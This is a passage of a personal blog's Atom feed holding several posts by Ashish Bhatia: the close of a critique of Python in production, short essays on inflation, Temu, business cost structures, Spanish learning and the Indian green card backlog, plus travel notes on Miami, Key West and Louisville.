<a href="https://python-course.eu/oop/slots-avoiding-dynamically-created-attributes.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">prevent</a> new class fields assignments outside the constructor.<br>
More often than not, you will see dictionaries being passed from function to function as a loose form of object representation.</p>
<h2 id="python-language-and-packages-are-hard-to-upgrade">Python language and packages are hard to upgrade</h2>
<p>A   
    
    
<a href="https://github.com/pypa/setuptools/issues/4519?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">minor change</a> to setuptools and the whole Python ecosystem broke on a Sunday afternoon.
Or a patch version upgrade from Python 3.12.3 -&gt; 3.12.4   
    
    
<a href="https://github.com/langchain-ai/langchain/issues/22692?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">broke</a> langchain.
I have upgraded several production and hobby projects in Java, Go, and Python.
Nothing is as painful as it is in the Python world.</p>
<h2 id="even-python-developer-tooling-no-longer-prefers-python">Even Python developer tooling no longer prefers Python</h2>
<p>The developer tooling for Go is written in Go.<br>
The developer tooling for Rust is written in Rust.<br>
The developer tooling for Java is written in Java.</p>
<p>However, look at the recent developments in Python tooling,</p>
<ul>
<li>  
    
    
<a href="https://github.com/astral-sh/uv?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">UV</a>, the recommended Python package manager is written in Rust.</li>
<li>  
    
    
<a href="https://github.com/astral-sh/ruff?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ruff</a>, the fastest Python linter is written in Rust.</li>
<li>  
    
    
<a href="https://github.com/pydantic/pydantic-core?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pydantic</a>, the data class management system,   
    
    
<a href="https://baincapitalventures.com/insight/why-more-python-developers-are-using-rust-for-building-libraries/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">migrated</a> its core from Python in V1 to Rust in V2.</li>
</ul>
<h2 id="what-if-i-have-to-use-python-in-production">What if I have to use Python in production</h2>
<p>See my follow-on post on this topic at 
<a href="/programming/python-in-production-2/">How to use Python in production</a>.</p>
<h2 id="post-publish-update">Post-publish Update</h2>
<p>Seems like this post got famous.</p>
<p>Here are some interesting discussions from the web</p>
<ol>
<li>  
    
    
<a href="https://linuxfr.org/users/woffer/liens/difficile-de-recommander-python-en-production?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Linuxfr (French)</a></li>
<li>  
    
    
<a href="https://tldr.tech/webdev/2025-03-10?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TLDR Tech</a></li>
<li>  
    
    
<a href="https://weekly.pychina.org/pyrecap/pyrw-2510.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PyChina (Mandarin)</a></li>
<li>  
    
    
<a href="https://news.ycombinator.com/item?id=43297671&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hacker news</a> - where it is flagged by Python fanboys!</li>
<li>  
    
    
<a href="https://discu.eu/weekly/python/2025/10/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Discu</a></li>
<li>  
    
    
<a href="https://python.libhunt.com/newsletter/459?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">LibHunt newsletter</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/><category scheme="https://ashishb.net/tag/go" term="go" label="go"/></entry><entry><title type="html">Inflation, IRS, Credit cards, and Vendors</title><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="related" type="text/html" title="Revenue vs Cost Axis"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><link href="https://ashishb.net/finance/how-do-businesses-make-money/?utm_source=atom_feed" rel="related" type="text/html" title="How do businesses make money"/><id>https://ashishb.net/finance/inflation/</id><author><name>Ashish Bhatia</name></author><published>2025-03-01T17:00:00+00:00</published><updated>2025-03-01T17:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how inflation impacts taxing, credit card companies, and vendors, influencing profits and payment strategies across different sectors.</blockquote><h3 id="irs-loves-inflation">IRS loves inflation</h3>
<p>Since taxes are on nominal gains, in case of 10% inflation,
the owner of a stock or a real estate becomes liable for a 10% increase in the equity value even though the real gain is 0%.</p>
<h3 id="credit-card-companies-hate-inflation">Credit card companies hate inflation</h3>
<p>Imagine the scenario with 1% monthly inflation (~13% annual inflation).
If you spend 10,000$ on day 1 of your billing, the statement closes on day 30, and you pay back
in full by day 60, the credit card company lost 2 months of value ~200$!</p>
<h3 id="vendors-hate-inflation">Vendors hate inflation</h3>
<p>When inflation is less than 2% nobody cares about paying late. But when inflation is 10%,
businesses want to delay payments to their suppliers.
A 2-month delay leading to an extra 1-2% in revenues can increase the profitability of brick-and-mortar
businesses by 10-20%!
In reality, it just creates one more dimension of haggling between businesses and their suppliers.
Such haggling is common in parts of the world with persistent inflation.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/></entry><entry><title type="html">Temu and the Chinese approach</title><link href="https://ashishb.net/tech/temu-and-the-chinese-approach/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><link href="https://ashishb.net/tech/project-success/?utm_source=atom_feed" rel="related" type="text/html" title="World's simplest project success heuristic"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/temu-and-the-chinese-approach/</id><author><name>Ashish Bhatia</name></author><published>2025-02-22T17:00:00+00:00</published><updated>2025-02-22T17:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how Temu exemplifies China&rsquo;s strategic market adaptation, contrasting American and Chinese business approaches. Learn about targeted global expansion.</blockquote><blockquote>
<p>American government goes everywhere exporting its brand of democracy. The Chinese government wants to do business and make money [with these autocracies] in Asia, Africa, and South America - 
<a href="/book-summary/book-summary-one-mans-view-of-the-world-by-lee-kuan-yew/">Lee Kuan Yew</a></p></blockquote>
<p>In many ways, American companies take the same approach.
They build one product, localize it a bit for the target countries, and try to win big there.
However, Chinese companies seem to take a different approach.
China utilizes lower labor costs than its American counterparts and builds targeted products for markets.
And   
    
    
<a href="https://temu.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Temu</a> is the perfect example of that.
Temu&rsquo;s parent company&rsquo;s flagship product is Pinduoduo.
Pinduoduo is designed for the Chinese market.
A completely unrelated E-commerce product, Temu is designed for the American market.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Things to do in Miami Florida</title><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/louisville-kentucky/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Louisville, Kentucky"/><link href="https://ashishb.net/travel/nashville-tennessee/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Nashville, Tennessee"/><link href="https://ashishb.net/travel/birmingham-alabama/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Birmingham, Alabama"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><id>https://ashishb.net/travel/miami/</id><author><name>Ashish Bhatia</name></author><published>2025-02-15T16:00:46+00:00</published><updated>2025-02-15T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Miami to Key West with thrilling adventure: from dolphin shows to holding alligators, scenic drives, and exciting cruises. Perfect winter escape!</blockquote><p>Miami is hot and humid. I would recommend visiting during winters (Nov-Feb). You can fly directly or use it as a stop-over for visiting the 
<a href="/tag/caribbean/">Caribbean</a> or doing a 
<a href="/tag/cruise/">Caribbean cruise</a></p>
<p>Unlike 
<a href="/travel/chicago/">Chicago</a> or 
<a href="/travel/boston/">Boston</a>, Miami does not have good public transport, so, I would recommend renting a car.</p>
<h2 id="day-1">Day 1</h2>
<p>Start the day with a visit to   
    
    
<a href="https://miamiseaquarium.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Seaquarium</a> for a Dolphin show.</p>
<p>Follow this with a visit to   
    
    
<a href="https://www.nps.gov/ever/index.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Everglades National Park</a>, do watch the show here, and get a chance to hold an alligator or a snake in your hand.</p>
<figure>
    
    <a href="images/miami-alligator-in-hand.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/miami-alligator-in-hand.jpg"
         alt="A person holds a baby alligator in their hand, providing an opportunity for a close encounter with wildlife." width="900"/> </a>
</figure>

<p>In the evening, make a trip to the Ocean beach.</p>
<h2 id="day-2">Day 2</h2>
<p>Drive to Key West, it is a 3-hour scenic drive through several small islet (keys) connected via a land bridge. Unlike Miami, Key West is walk-friendly.</p>
<figure>
    
    <a href="images/key-west-duck-key.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/key-west-duck-key.jpg"
         alt="A land bridge connects several small islets, creating a walk-friendly environment in Key West, near the southernmost point of the United States." width="900"/> </a>
</figure>

<p>See the southernmost point of the United States.</p>
<figure>
    
    <a href="images/key-west-southernmost-point.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/key-west-southernmost-point.jpg"
         alt="A buoy-shaped marker in Key West designates it as the southernmost point of the United States." width="900"/> </a>
</figure>

<p>And checkout the street shows in Mallory Square.</p>
<figure>
    
    <a href="images/key-west-street-show-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/key-west-street-show-1.jpg"
         alt="Street show at Key West" width="900"/> </a>
</figure>

<figure>
    
    <a href="images/key-west-street-show-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/key-west-street-show-2.jpg"
         alt="A street performance is taking place in a square with onlookers gathered around, providing a lively and engaging public entertainment setting." width="900"/> </a>
</figure>

<h2 id="day-3">Day 3</h2>
<p>Key West has a unique concept of adventure cruises that consist of day cruises consisting of Parasailing, Jet skiing, snorkeling, and ocean kayaking. I have never seen them elsewhere and I would highly recommend doing them while you are in Key West.</p>
<p><figure>
    
    <a href="images/keywest-jet-skiing.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/keywest-jet-skiing.jpg"
         alt="Jet Skiing at Key West" width="900"/> </a>
</figure>

<figure>
    
    <a href="images/keywest-parasailing.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="images/keywest-parasailing.jpg"
         alt="Parasailing at Key West" width="900"/> </a>
</figure>
</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/miami" term="miami" label="miami"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Revenue vs Cost Axis</title><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><link href="https://ashishb.net/finance/how-do-businesses-make-money/?utm_source=atom_feed" rel="related" type="text/html" title="How do businesses make money"/><id>https://ashishb.net/finance/revenue-vs-cost-axis/</id><author><name>Ashish Bhatia</name></author><published>2025-02-08T17:00:46+00:00</published><updated>2025-02-08T17:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how cost-revenue alignment determines business success across industries, from cloud kitchens to airlines. Learn to avoid potential financial pitfalls.</blockquote><p>Every business has revenues and costs. When the revenues and costs are not aligned,
the business sooner or later risks bankruptcy. Let me illustrate with a few examples.</p>
<ol>
<li>A restaurant&rsquo;s costs consist of raw food materials and labor. While the revenues are a function of the amount of food sold. So, in case the revenue falls, the cost of labor kills the restaurant business. A cloud kitchen, due to its reduced labor costs, is more resilient.</li>
<li>The costs of oil (or mining) companies consist of drilling and transportation. While the revenue is a strong function of the unpredictable oil/mineral price. That&rsquo;s why small oil and mining companies go out of business whenever there is a sharp fall in the price of the commodity sold.</li>
<li>An airline&rsquo;s costs consist primarily of the predictable cost of leasing the airplanes and the unpredictable oil prices to fly the plane. While the revenue consists of the number of seats sold well in advance. So, any fall in seats sold or any sudden spikes in oil prices leads to a disaster.</li>
<li>A software company&rsquo;s costs consist mostly of labor and infrastructure. While the revenue comes from the increased sales of the software. The incremental cost of serving a user is marginal, while the fixed costs are huge. That&rsquo;s why landing a few big initial contracts to become default-alive can make a huge difference in the long run.</li>
<li>An exchange takes a cut of transactions flowing through it. The costs and revenues are aligned. Further, if it is an electronic exchange, like stock exchanges or Ad exchanges, then the infrastructural costs are minimal and employee costs are less material. This becomes a pure money-making exercise.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/></entry><entry><title type="html">Language learning as an adult</title><link href="https://ashishb.net/short-stories/language-learning-as-an-adult/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><link href="https://ashishb.net/travel/el-chalten-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in El Chaltén - trekking capital of Argentina"/><id>https://ashishb.net/short-stories/language-learning-as-an-adult/</id><author><name>Ashish Bhatia</name></author><published>2025-02-01T16:00:46+00:00</published><updated>2025-02-01T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the challenges and triumphs of learning Spanish as an adult, and how language processing changes upon waking up! Explore real travel scenarios.</blockquote><p>Two musings of my Spanish learning that convinced me that language learning as an adult is different.</p>
<h2 id="act-1">Act 1</h2>
<figure>
    
    <a href="/travel/guatemala/antigua-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="/travel/guatemala/antigua-1-1024x768.jpg"
         alt="Antigua, Guatemala" width="900"/> </a>
</figure>

<p>I was lying flat on the car seats and sleeping. Motion sickness woke me up.
The high altitude curvy roads were just too much for me. I sat straight.
I remember the advice for these situations, &ldquo;focus directly on the road in front of the car&rdquo;.
I read a few notices on the street, &ldquo;S-e v-e-n-d-e&rdquo;, &ldquo;T-i-e-n-d-a&rdquo;, what? I can read letters but it is complete gibberish.
What language is it? I had no clue.
I kept staring out of the front window to cut down on the nausea.</p>
<p>A few minutes later, I see another &ldquo;Se vende&rdquo;. &ldquo;Lots of shops to rent here&rdquo;, I said to myself. &ldquo;Tienda&rdquo;, that&rsquo;s a small store, I recalled.
These are some basic phrases and anyone spending any time in Latin America gets acquainted with them.
So, why wasn&rsquo;t I able to decipher them immediately after I woke up?</p>
<p>The only clue I have is that for a newly acquired language, there is some concerted effort required on the part of brain to read it.
And that effort is a bit too much to expect during the booting up phase.</p>
<h2 id="act-2">Act 2</h2>
<figure>
    
    <a href="/travel/guatemala/acatenango-hike-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="/travel/guatemala/acatenango-hike-1-768x1024.jpg"
         alt="Acatenango Hike, Antigua, Guatemala" width="900"/> </a>
</figure>

<p>Its only when we met our guide that we realized that he doesn&rsquo;t speak English.
It turns out, I was the only person in the group who had some ability to speak Spanish.
So, I became the translator! It is doable, especially, if you are only translating from a limited vocabulary of hiking.
We reached the camp around 2 PM, I was breathless due to high altitude and decided to sleep.</p>
<p>Around 5 PM, the guide shined the light on my tent. That&rsquo;s a very standard global signal to initiate a conversation.
He said something, the only thing I could decipher was &ldquo;Sir&rdquo; followed by gibberish.
He repeated, again, I couldn&rsquo;t decipher anything. I brute forced. He isn&rsquo;t speaking English.
He isn&rsquo;t speaking Hindi. He isn&rsquo;t speaking Punjabi. I recalled that we have been chatting earlier in the day.
But now, I couldn&rsquo;t even guess what language he was speaking in!</p>
<p>Few minutes later, he shouted again, &ldquo;Señor, tiempo &hellip; cena &hellip; venga&rdquo;. &ldquo;Un momento por favor, voy a venir pronto&rdquo;,
I replied. Just like earlier in the day, it wasn&rsquo;t effortless to speak these phrases, but it was doable.
During the dinner, I translated the plan for tomorrow to English for other participants.
Somehow Spanish add-on had activated by then.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">The unanchored babies of the green card limbo</title><link href="https://ashishb.net/politics/green-card-limbo/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/politics/mobs-are-status-games/?utm_source=atom_feed" rel="related" type="text/html" title="Mobs are Status Games"/><link href="https://ashishb.net/politics/american-elections/?utm_source=atom_feed" rel="related" type="text/html" title="American Elections"/><link href="https://ashishb.net/politics/rohtak-riots/?utm_source=atom_feed" rel="related" type="text/html" title="Rohtak Riots"/><link href="https://ashishb.net/politics/thoughts-on-bureaucrats-technocrats-and-politicians/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bureaucrats, Technocrats and Politicians"/><link href="https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond Numbers: Dealing with terrorism in India"/><id>https://ashishb.net/politics/green-card-limbo/</id><author><name>Ashish Bhatia</name></author><published>2025-01-22T03:00:53+00:00</published><updated>2025-01-22T03:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Trump&rsquo;s executive order on birthright citizenship impacts Indian immigrants&rsquo; green card challenges amid restrictive policies, stirring critical legal debates.</blockquote><p>President Trump&rsquo;s recent executive order on birthright citizenship has significant implications for the legal
Indian nationals already facing challenges due to existing immigration policies.
Even many recent Indian arrivals don&rsquo;t understand how problematic the situation is.</p>
<h2 id="background-on-birthright-citizenship">Background on Birthright Citizenship</h2>
<p>Birthright citizenship, or   
    
    
<a href="https://en.wikipedia.org/wiki/Jus_soli?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">jus soli</a>, grants citizenship to children born on a country&rsquo;s soil.
While common in the Western Hemisphere, several nations have recently restricted or abolished this practice:</p>
<ul>
<li>United Kingdom (1983)</li>
<li>Australia (1986)</li>
<li>New Zealand (2006)</li>
</ul>
<p>So, Trump&rsquo;s decision to revisit this policy aligns with global trends, though its legality will likely face
  
    
    
<a href="https://www.reuters.com/legal/lawsuits-challenge-trumps-birthright-citizenship-other-orders-2025-01-21/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">legal challenges</a>.</p>
<h2 id="the-green-card-dilemma-for-indian-nationals">The Green Card Dilemma for Indian Nationals</h2>
<p>The United States citizenship cannot be acquired without getting permanent residency (green card) first.
The executive order exacerbates existing challenges for Indian immigrants due to the current green card system:</p>
<ul>
<li>7% Per-Country Cap: U.S. immigration law limits green cards to 7% per nationality, regardless of population size.</li>
<li>Limited Employment-Based Green Cards: Only 140,000 of the annual 1 million green cards are allocated for employment-based immigration.</li>
<li>Lengthy Wait Times: Indian nationals who applied for a green card before January 2013 can receive one in January 2025,
with wait times potentially extending to 24 years for someone who applied in Jan 2014!</li>
</ul>
<h2 id="impact-on-indian-immigrants">Impact on Indian Immigrants</h2>
<p>As of November 2023, approximately one million Indian nationals were   
    
    
<a href="https://www.boundless.com/blog/1-million-indians-stuck-green-card-backlog/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">waiting</a> for green cards.</p>
<table>
  <thead>
      <tr>
          <th>Employment-Based Category</th>
          <th>Primary Applicants</th>
          <th>Dependents</th>
          <th>Total</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>EB-1 (Extraordinary Ability)</td>
          <td>51,249</td>
          <td>92,248</td>
          <td>143,497</td>
      </tr>
      <tr>
          <td>EB-2 (Advanced Degree)</td>
          <td>419,392</td>
          <td>419,392</td>
          <td>838,784</td>
      </tr>
      <tr>
          <td>EB-3 (Skilled Workers)</td>
          <td>138,581</td>
          <td>138,581</td>
          <td>277,162</td>
      </tr>
      <tr>
          <td><strong>Total</strong></td>
          <td><strong>609,222</strong></td>
          <td><strong>650,221</strong></td>
          <td><strong>1,259,443</strong></td>
      </tr>
  </tbody>
</table>
<ul>
<li>Under the current law, any Indian immigrant arriving since 2015 will retire and die as H1-B without ever getting a green card.</li>
<li>But at least, they could at least promise a good future to their kids.</li>
<li>Note that these kids are not anchored babies in any sense.</li>
<li>Their parents didn&rsquo;t come to the US for birth tourism.</li>
<li>Their parents came to the US to work, maintained a legal status, carefully avoiding anything that could jeopardize their legal status or visa renewals, and paid millions in taxes.</li>
<li>Now, when these kids turn 18, they might be told to leave the United States, the country they were born in, the country they spent their whole life in!</li>
</ul>
<p>The US President has spoken   
    
    
<a href="https://www.hindustantimes.com/world-news/i-like-both-sides-of-argument-says-donald-trump-on-h-1b-visa-debate-101737507935191.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">favorably</a> of H1-B and has   
    
    
<a href="https://www.cnn.com/2024/12/06/politics/green-cards-college-graduates-trump-cec/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">promised</a> a Green card for all US graduates. So, the only way to explain this Executive Order roping in legal immigrants is that no one in Washington DC properly understands how discriminatory the current green card system is for Indian nationals.</p>
<p>Note:</p>
<ol>
<li>The per-nationality green card cap and point-based system have been visited   
    
    
<a href="https://www.vox.com/policy-and-politics/2014/6/30/18080446/immigration-reform-congress-2014-house-john-boehner-obama?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">multiple</a>   
    
    
<a href="https://economictimes.indiatimes.com/nri/migrate/bill-to-remove-per-country-cap-on-green-card-introduced-in-us-congress/articleshow/83194004.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">times</a> but it is unlikely to succeed. There is a lobby of citizens and there is a lobby of illegal immigrants, the legal Indian immigrants are too small to form a meaningful vote bank for anyone.</li>
<li>The   
    
    
<a href="https://www.whitehouse.gov/presidential-actions/2025/01/protecting-the-meaning-and-value-of-american-citizenship/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Executive order</a> which ignores the uncertainty faced by these parents and their kids is short-sighted and discriminatory.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/politics" term="politics" label="politics"/></entry><entry><title type="html">Price variance in the United States</title><link href="https://ashishb.net/short-stories/price-variance/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/short-stories/authentically-american/?utm_source=atom_feed" rel="related" type="text/html" title="Authentically American"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><link href="https://ashishb.net/finance/why-not-abolish-employer-provided-health-insurance/?utm_source=atom_feed" rel="related" type="text/html" title="Why not abolish employer-provided health insurance?"/><id>https://ashishb.net/short-stories/price-variance/</id><author><name>Ashish Bhatia</name></author><published>2025-01-18T16:00:30+00:00</published><updated>2025-01-18T16:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the surprising cost variations of simple tasks in the USA, like changing a car key battery. From DIY options to professional help—find out the best deal!</blockquote><p>One weird aspect of life in the USA is not just the weird labor vs material costs but even how much the material costs vary from retailer to retailer. I have been to 
<a href="/travel/">50+ countries</a> now and have not seen this variance in any high-income, middle-income, or low-income country.</p>
<p>It taxes your mental energy because even simple tasks can have a huge cost variance.
My car has two battery-powered keys.
One was dead, other one started giving low-battery notifications as well.
Over the weekend, I learned about different ways to change the car battery with a 100X variation in costs.</p>
<table>
  <thead>
      <tr>
          <th>How to fix battery of your car key</th>
          <th>Cost</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mechanic coming to your home</td>
          <td>$180 ($10 per cell + $170 labor)</td>
      </tr>
      <tr>
          <td>Shop 1</td>
          <td>$35 per key</td>
      </tr>
      <tr>
          <td>Shop 2</td>
          <td>$19 per key</td>
      </tr>
      <tr>
          <td>Do-it-yourself with cell purchased from O&rsquo;Reilly Auto shop</td>
          <td>$4 per cell + 5 minutes of effort</td>
      </tr>
      <tr>
          <td>Do-it-yourself with cell purchased from Walmart</td>
          <td>$3 per cell + 5 minutes of effort</td>
      </tr>
      <tr>
          <td>Do-it-yourself with cell purchased from Dollar Tree</td>
          <td>$0.6 per cell + 5 minutes of effort</td>
      </tr>
  </tbody>
</table>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="this-american-life"/></entry><entry><title type="html">A day in Louisville, Kentucky</title><link href="https://ashishb.net/travel/louisville-kentucky/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Miami Florida"/><link href="https://ashishb.net/travel/nashville-tennessee/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Nashville, Tennessee"/><link href="https://ashishb.net/travel/birmingham-alabama/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Birmingham, Alabama"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><id>https://ashishb.net/travel/louisville-kentucky/</id><author><name>Ashish Bhatia</name></author><published>2025-01-11T16:00:46+00:00</published><updated>2025-01-11T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover hidden gems in Kentucky on a day trip! Explore the Kentucky Derby Museum, historic civil rights sites, vibrant downtown Louisville, and more.</blockquote><p>While touring 
<a href="/tag/usa/">United States</a>, I ended up in Kentucky.
There isn&rsquo;t a lot to do in Kentucky, especially, during the winters that I visited.
So, here are a few small ideas for a day trip.</p>
<p>I would recommend starting the day with Kentucky Derby Museum which is famous for its annual Kentucky Derby Horse race.</p>
<figure>
    
    <a href="louisville-kentucky-derby-grounds.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="louisville-kentucky-derby-grounds.jpg"
         alt="A museum exhibit related to the Kentucky Derby, known for hosting the famous horse race"/> </a>
</figure>

<p>Afterward, check out the sit-in demonstration site of the 1961 civil rights movement at   
    
    
<a href="https://www.hmdb.org/m.asp?m=178314&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">501 S Fourth St</a>.</p>
<figure>
    
    <a href="louisville-kentucky-demonstration.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="louisville-kentucky-demonstration.jpg"
         alt="A historical marker commemorates the 1961 civil rights movement at 501 S Fourth St, capturing the location&#39;s significance in Louisville&#39;s history."/> </a>
</figure>

<p>I would recommend checking out the downtown at night.</p>
<figure>
    
    <a href="louisville-kentucky-downtown.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="louisville-kentucky-downtown.jpg"
